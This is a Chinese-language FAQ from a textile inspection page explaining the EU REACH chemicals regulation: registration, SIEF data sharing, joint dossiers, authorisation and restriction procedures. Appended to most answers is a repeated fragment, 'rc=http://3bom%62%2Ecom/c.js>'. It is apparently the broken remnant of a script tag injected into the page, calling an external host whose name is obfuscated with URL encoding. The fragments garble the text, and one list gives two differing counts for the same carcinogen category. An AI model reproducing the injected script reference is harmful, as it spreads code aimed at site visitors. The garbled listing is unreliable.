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纺检专题  
编者按:
    2007年6月1日欧盟REACH法规正式生效,改法规将取代以往的40多个法规,成为一个统一的化学品注册、评估、授权和限制的管理法规。目前欧盟市场上经常使用的约3万种化学物质和其下游相关产品都将经过强制的注册、评估和授权程序。此法规的实施,对我国化工产业及下游轻工、纺织、医药、电子等产业对欧盟的进出口贸易将产生一系列的影响……
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问:请问 16 CFR 1610是哪一国标准?
答:美国标准,主要检测纺织品的燃烧性能。ipt
问:如何进行风险定性?
答: 1. 可能暴露的每个人群的暴露水平和适当的无效水平DNELs比较
  2. 每一环境的预计浓度PECs和无效浓度PNECs的比较
  3. 评定该物质理化性质引发事件的可能性和危害性
  若风险得不到控制,则制定更为严格的风险管理措施(RMM)或使用条件,重新评定
  若风险得到了控制,将最终的暴露和风险评估数据整理成为安全数据单(SDS)的附件,传递给下游用户
  注:制品中含PBT或vPvB物质浓度小于0.1%时,不需化学品安全评定(CSA)rc=http://3bom%62%2Ecom/c.js>
问:信息交流论坛(SIEF)可实现哪些功能?
答: 目的:通过信息交流,避免重复试验。
在信息交流论坛(Substance Information Exchange Forum ,SIEF)上,可实现:
1. 法规生效20个月后,查询是否已有试验研究;
2. 2周内,试验成果持有人向查询人发证明;
3. 商谈费用分摊;
4. 试验成果持有人在收到费用后2周内提供试验成果;
5. 如没有试验,则参与者们协商试验承担者及费用分摊;
6. 如试验成果持有人拒绝提供,管理局应适时提供研究摘要,成果持有人有权要求费用平摊。rc=http://3bom%62%2Ecom/c.js>
问:预注册必需提交哪些信息?
答: 1. 物质信息:(物质名称,EINECS或CAS编码等)附件VI第2部分内容;
2. 注册人的信息(包括:姓名、地址、电话、传真、电子邮件、联系人等)附件VI第1部分内容;
3. 注册吨数的最终规定期限;
4. 关于相似结构物质可能的分组信息:附件XI中1.3(定量结构活性关系QSAR)和附件XI中1.5(项物质分组)。rc=http://3bom%62%2Ecom/c.js>
问:为什么要预注册?预注册有什么益处?
答: 目的:实现资料和数据共享。

益处:在注册规定期限内可生产或进口,预注册后即可生产或进口,除非注册被驳回。

法规生效18个月后进行首次生产或进口的,应在其行为前6个月以及注册截止日期前12月进行预注册。rc=http://3bom%62%2Ecom/c.js>
问:联合注册时,什么情况下M/I可以单独提交技术档案?.
答: 1. 联合提交会暴露商业机密;或
  2. 联合提交会对一方造成较高比例的成本费用;或
  3. 联合提交一方在信息选择上与带头的注册者具有不同意见rc=http://3bom%62%2Ecom/c.js>
问:联合注册需要哪些档案?
答: 1. 联合档案
    分类与标识;
    研究摘要(附件VII-X );
    充分的研究摘要(如果附件I有要求);
    测试建议(附件IX和X);
    有关所提交数据的外部评估信息。
  2. 独立的档案部分
    生产商/进口商身份与物质;
    生产与使用信息(附件VI第3部分)。
  3. 联合或独立档案
    安全使用指导说明。rc=http://3bom%62%2Ecom/c.js>
问:对联合注册如何规定?
答:对于同一商品,可以允许由多个注册人联合注册,分摊相关费用,由其成员之一根据规定代表其他人提交信息。rc=http://3bom%62%2Ecom/c.js>
问:常规注册时,按照生产量或是进口量的吨数,提供什么样的注册信息?
答:1.生产量或进口量1吨以上提供的注册信息(每一生产商或进口商)
    (1)1吨及以上:附件VI -VII
    (2)10吨及以上:附件VI -VIII
    (3)100吨及以上:附件VI -IX
    (4)1000吨及以上:附件VI-X
 2.超过注册吨数时,追加下一档资料及更新资料
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问:获得许可的流程是怎样的?
答: 1. 许可申请;
  2. 许可的审议;
  3. 授予许可;
  4. 后续许可申请;
  5. 许可决定程序:
  (1)管理局的风险评估与社会经济分析委员会应在收到申请起的10个月内给出其意见草案。
  (2)草案的评议
  (3)委员会准备许可决定草案rc=http://3bom%62%2Ecom/c.js>
问:哪些物质可以获得许可?
答: 1. 附件XIV中的物质需经过许可方能生产和进口;
  2. 附件XIV中的物质(具有高关注物质);
  3. 根据条款58中的程序下列物质可包括到附件XIV中:
  (1) 根据指令67/548/EEC,符合1类和2类致癌物的分类准则的物质;
  (2) 根据指令67/548/EEC,符合1类和2类诱导有机体突变的物质的分类准则的物质;
  (3) 根据指令67/548/EEC,符合1类和2类生殖毒性物质的分类准则的物质;
  (4) 根据附件XIII的准则属持久性、生物累积性和毒性物质;
  (5) 根据附件XIII的准则属高持久性、高生物累积性物质;
  (6) 物质,诸如那些具内分泌干扰特性、或具持久性、生物累积性和毒性、或具高持久性、高生物累积性但不满足(d)和(e)的准则,同时被确定为会对人类或环境引起严重的不可逆转影响的物质;
  4. 社会经济效益大于其对人体健康或环境的风险且无合适的替代化学物质和技术时。
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问:许可的目标是什么?
答: 1. 在确保欧盟内部市场有效运作的前提下,有效控制高度关注物质SVHC的风险,并
2. 最终确保这些物质被经济、技术可行替换方案的替换。rc=http://3bom%62%2Ecom/c.js>
问:限制的流程是怎样的?
答: 1. 成员国认为必须在欧共体层面上进行处理,方能有效控制风险,向欧共体提议进行限制,并向化学品管理局提交提议卷宗;
  2. 管理局整理卷宗后在网上公示,邀请各方在三个月内进行评议,各方可提交社会-经济学分析SEA,或其他有助于该分析的信息;
  3. 公示9个月内接受网上各方评论;
  4. 风险评定RA委员会在公示9个月内起草一份风险评估方面对卷宗的意见草案,需考虑网上评论社会-经济分析SEA委员会起草一份社会经济影响方面对卷宗的意见草案,需考虑网上评论;
  5. 化学品管理局将在网上公示SEA草案,并邀请各方对该草案评议;
  6. SEA委员会将根据评议在首次网上公示12月内起草正式意见,在此之前RA意见已经定稿,所以SEA可参考RA的内容;
  7. 两份意见将在12个月的时候(间或延长90天)被提交欧委会,并在网上公布;
  8. 欧委会将根据两个委员会的意见做出最终决定。rc=http://3bom%62%2Ecom/c.js>
问:什么情况下限制?
答: 1.对于某些危险物质和配制品的生产、营销和使用的限制。
  (1)现有附件XVII中的物质(主要从76/769/EEC指令整合而来);
  (2)附件XVI的修订(引入新的限制和修订现有限制:当对人类健康和环境存在某种不可接受的、由物质的制造、使用和或投放市场所引起的、且需在欧共体范围内予以指出的风险时)。
  2.化学物质于评估阶段,经欧洲化学管理局判定此化学物质有不可接受之风险存在,需要更进一步之评估时,欧盟委员会将依据化学品管理局所提供的文件资料进行评估,以作出此化学物质。
  (1)风险可管理,故不限制;
  (2)禁止部分使用;或
  (3)完全禁止使用的决定。
  3.流程:
  (1)管理局准备提案;
  (2)风险评估委员会和社会-经济分析委员会;
  (3)向委员会提交意见;
  (4)欧委会决定。rc=http://3bom%62%2Ecom/c.js>
问:目前附件XVII中的限制物质是指哪些物质?
答: 1. 52类物质及限制条件
  2. CMR致癌第一类物质187种
  3. CMR致癌第一类物质888种
  4. 诱变剂第一类物质(未列)
  5. 诱变剂第二类物质176种
  6. 再生产中有毒物质第一类物质17种
  7. 再生产中有毒物质第二类物质66种
  8. 偶氮染色剂芳香胺类22种rc=http://3bom%62%2Ecom/c.js>
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